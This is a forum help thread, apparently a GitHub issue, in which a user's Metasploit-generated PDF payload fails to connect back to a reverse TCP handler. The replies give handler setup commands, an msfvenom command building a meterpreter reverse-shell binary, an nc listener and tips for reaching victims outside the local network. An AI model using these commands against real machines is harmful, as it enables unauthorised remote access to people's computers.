Started reverse TCP handler on 192.168.XX:4444 problem

[javadovrufiq99]

Hi, I am a Kali Linux user,

and I used metasploit to create PDF payload but, nothing happens. I wait in this terminal screen. I couldn't solve this problem. Please, help me to solve this problem.

Not: I changed the port as 4545 but, it didn't work.

[ghost]

Hi

[ghost]

Same problem

[abhigyan17]

Based on your screenshot and problem description, I can see the reverse TCP handler is starting but not establishing connections. Here are the most common causes and solutions:

1. Firewall/Network Blocking:
The most likely issue is that your firewall is blocking incoming connections on port 4444. Try:

• Check if firewall is enabled: sudo ufw status
• Allow the port: sudo ufw allow 4444
• Test with a different high-numbered port (above 1024) to avoid permission issues

2. LHOST Misconfiguration:
Your reverse TCP handler needs to use an IP that the target can reach. Don't use 127.0.0.1:

• Use your actual machine IP (ifconfig to find it)
• If testing locally, ensure LHOST matches what the payload expects

3. Port Already in Use:
Check if port 4444 is already bound:

• sudo lsof -i :4444
• Kill any process using it: sudo kill -9 <PID>

4. Payload Mismatch:
Ensure your generated PDF payload is configured with:

• Correct LHOST (your Kali IP, not 192.168.XX)
• Correct LPORT (4444 or whatever port you're using)
• Correct payload type for your target

5. Meterpreter Session Not Calling Home:
The handler starts but waits for the payload to execute. Make sure:

• PDF was properly generated with msfvenom
• Target actually executes the PDF payload
• Network connectivity exists between target and attacker

Quick Test:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit

Also try running Metasploit with elevated privileges: sudo msfconsole as the handler might need root for certain operations.

[subrat243]

Solution

The handler is working correctly — the issue is that no reverse connection is being received from the target.

---

Explanation

When you see:
[*] Started reverse TCP handler on 192.168.x.x:4444

It means Metasploit is listening for a connection, but the payload has NOT executed or cannot reach your machine.

---

Fix

1. Check LHOST (very important)
   Make sure your LHOST is reachable from the target machine:

ip a

Use the correct IP (same network or public IP if remote)

---

2. Verify payload execution
   If you created a PDF payload, the victim must OPEN the file.
   No execution = no session

---

3. Check firewall / network

• Disable firewall temporarily:

sudo ufw disable

• Ensure port 4444 is open:

netstat -tulnp | grep 4444

---

4. If target is outside your network
   Use:

• Port forwarding OR
• Ngrok / public IP

---

5. Try different payload (for testing)

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f elf > shell.elf

---

Extra Tip

You can verify connectivity using:

nc -lvnp 4444

If no connection comes, the issue is network/payload execution, not Metasploit.

---

Summary

Handler is fine
Target is not connecting back

Focus on:

• Correct LHOST
• Payload execution
• Network reachability